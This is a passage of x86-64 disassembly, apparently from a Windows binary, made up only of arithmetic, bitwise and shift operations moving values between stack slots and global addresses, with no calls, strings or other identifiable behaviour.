mov rax, qword [0x14017a088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56], al
movzx eax, word [rsp + 0x868]
mov word [rsp + 0x8a4], ax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fc0], rax
lea rax, [0x140178e78]
mov qword [rsp + 0x4fe8], rax
mov eax, dword [rsp + 0x2a38]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
lea rax, [0x140178e68]
mov qword [0x14017a0b0], rax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x4ff0], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
or eax, ecx
mov word [rsp + 0x8a4], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x4ff8], rax
movsx eax, word [0x140178e94]
movsx ecx, word [rsp + 0x8a4]
xor eax, ecx
mov word [rsp + 0x89c], ax
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x29c4]
shl eax, cl
mov dword [rsp + 0x28f4], eax
lea rax, [0x14017a058]
mov qword [rsp + 0x5000], rax
mov eax, dword [rsp + 0x28bc]
movzx ecx, al
mov eax, dword [rsp + 0x2908]
shr eax, cl
mov dword [rsp + 0x2a38], eax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x5008], rax
lea rax, [rsp + 0x5a]
mov qword [0x14017a0b8], rax
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
sub eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x5010], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x880], ax
lea rax, [rsp + 0x28d8]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x5008]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0x5020], rax
lea rax, [rsp + 0x5b]
mov qword [0x14017a0c0], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a088]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x898]
mov word [rsp + 0x8a8], ax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
lea rax, [0x140178e90]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x4f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a38], eax
mov eax, dword [rsp + 0x2a50]
mov dword [rsp + 0x2a6c], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4f88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178e5c], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0x5030], rax
movzx eax, word [rsp + 0x890]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x894], ax
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x4ff8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5b], al
mov rax, qword [0x14017a098]
movzx eax, word [rax]
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ea0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ea8], rax
lea rax, [rsp + 0x2a04]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x5020]
mov ecx, dword [rsp + 0x29c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fc0], rax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [0x14017a0b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a051], al
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x5040], rax
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8a8], ax
lea rax, [rsp + 0x874]
mov qword [rsp + 0x5048], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x898]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a3c], eax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x5050], rax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28d8]
mov dword [rsp + 0x2a70], eax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov word [0x14017a0c8], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x5058], rax
movsx eax, word [rsp + 0x8a0]
movsx ecx, word [rsp + 0x874]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4eb0]
shl rax, cl
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov dword [rsp + 0x2a74], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x60]
sar eax, cl
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4ec0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e5f], al
movzx eax, word [rsp + 0x860]
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [0x14017a0c8]
and eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x4e88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov dword [rsp + 0x2a78], eax
mov rax, qword [rsp + 0x4f20]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a68], eax
lea rax, [rsp + 0x898]
mov qword [rsp + 0x5068], rax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [0x14017a052], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov byte [rcx], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0x5070], rax
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4dc8]
mov dword [rcx], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x5078], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2a38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5018]
mov dword [rcx], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x5080], rax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [0x14017a050]
xor eax, ecx
mov byte [rsp + 0x5e], al
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x85c]
shl eax, cl
mov word [0x140178ea4], ax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, word [rsp + 0x8a0]
mov word [rsp + 0x8b4], ax
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
lea rax, [rsp + 0x4f80]
mov qword [rsp + 0x5088], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2a60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64]
add eax, ecx
mov byte [0x140178e5d], al
lea rax, [rsp + 0x8a4]
mov qword [rsp + 0x5090], rax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8a8], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4d38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x5098], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fc0], rax
mov eax, dword [rsp + 0x2a70]
mov dword [rsp + 0x2a7c], eax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
lea rax, [rsp + 0x4f00]
mov qword [rsp + 0x50a0], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [0x14017a0b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
lea rax, [rsp + 0x884]
mov qword [rsp + 0x50a8], rax
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [0x140178e70]
xor eax, ecx
mov rcx, qword [rsp + 0x5090]
mov word [rcx], ax
lea rax, [rsp + 0x2a18]
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x50b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50b8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f80]
shr rax, cl
mov qword [rsp + 0x4ed8], rax
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [0x14017a054], al
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59]
or eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
movzx eax, word [rsp + 0x86c]
mov word [rsp + 0x8b8], ax
movsx eax, byte [rsp + 0x59]
movsx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5028]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
lea rax, [0x14017a058]
mov qword [rsp + 0x50c8], rax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2a34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x4f80]
mov rcx, qword [rsp + 0x4ea8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f40], rax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [0x140178e6a], al
lea rax, [rsp + 0x898]
mov qword [rsp + 0x50d8], rax
movzx eax, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov byte [rcx], al
movsx eax, word [rsp + 0x8b4]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x50e0], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov dword [rsp + 0x2a80], eax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140178e60]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
xor eax, ecx
mov rcx, qword [0x14017a070]
mov byte [rcx], al
movzx eax, word [rsp + 0x888]
mov word [rsp + 0x8bc], ax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
or eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x68], al
movsx eax, word [rsp + 0x874]
mov rcx, qword [0x14017a0a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x4f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28f4]
mov dword [rsp + 0x2a84], eax
mov rax, qword [rsp + 0x4fa8]
mov rcx, qword [rsp + 0x4e88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x50e8], rax
lea rax, [rsp + 0x858]
mov qword [0x14017a0d0], rax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x8b0]
add eax, ecx
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov word [rsp + 0x8c0], ax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f40]
mov qword [rsp + 0x50f0], rax
mov eax, dword [rsp + 0x2a84]
mov ecx, dword [rsp + 0x2a50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
lea rax, [rsp + 0x2a48]
mov qword [rsp + 0x50f8], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c0]
sub eax, ecx
mov word [rsp + 0x898], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x5100], rax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x5108], rax
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a80]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a04]
mov ecx, dword [rsp + 0x2a4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a68], eax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
mov qword [rsp + 0x5110], rax
mov rax, qword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x5050]
mov qword [rsp + 0x5118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5118]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x5120], rax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140178ea8], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
and eax, ecx
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4e18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [0x140178e5f]
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x5050]
mov rax, qword [rax]
mov qword [rsp + 0x5130], rax
mov eax, dword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x2908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fc0], rax
mov rax, qword [rsp + 0x50d8]
movzx eax, word [rax]
mov word [rsp + 0x8c4], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [0x14017a0a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e6b], al
movzx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x4df0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x4ff0]
movzx eax, byte [rax]
mov byte [rsp + 0x69], al
movsx eax, word [0x140178e94]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2970]
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x2a04]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x4b30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ac]
xor eax, ecx
mov word [rsp + 0x8a0], ax
lea rax, [0x140178e9c]
mov qword [0x14017a0d8], rax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53], al
movsx eax, word [rsp + 0x87c]
movsx ecx, word [0x140178e90]
sar eax, cl
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov dword [rsp + 0x2a8c], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x5138]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4fc0], rax
mov eax, dword [rsp + 0x2a54]
mov dword [rsp + 0x2a90], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a088]
mov byte [rcx], al
movzx eax, word [rsp + 0x880]
mov word [rsp + 0x8c8], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movzx eax, word [rsp + 0x890]
mov word [rsp + 0x8cc], ax
mov rax, qword [rsp + 0x4ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x28f4]
mov dword [rsp + 0x2a94], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x50c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a64]
mov ecx, dword [rsp + 0x29e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4fe8]
mov rax, qword [rax]
mov qword [rsp + 0x5140], rax
movsx eax, word [0x140178e94]
movsx ecx, word [rsp + 0x8b0]
and eax, ecx
mov word [0x140178e90], ax
mov rax, qword [rsp + 0x50a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov byte [rsp + 0x6b], al
mov rax, qword [0x14017a088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x8a4]
movsx ecx, word [rsp + 0x860]
xor eax, ecx
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rsp + 0x5148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5148]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4d68], rax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x5150], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5080]
mov qword [rsp + 0x5158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5158]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4b88], rax
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov word [0x14017a0e0], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
movzx eax, word [rsp + 0x870]
mov word [rsp + 0x8d0], ax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8a8], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x4fa8]
mov rcx, qword [rsp + 0x4ea0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50d0]
mov ecx, dword [rsp + 0x2a64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a04], eax
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x5160], rax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x4f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c28]
mov qword [rcx], rax
movzx eax, byte [0x14017a053]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov byte [0x140178e72], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x5168], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x870]
mov word [rsp + 0x8d4], ax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
lea rax, [0x14017a064]
mov qword [rsp + 0x5170], rax
mov rax, qword [rsp + 0x4fe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa8], rax
mov rax, qword [rsp + 0x4fc0]
mov qword [rsp + 0x5178], rax
mov rax, qword [0x14017a078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178ea0], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
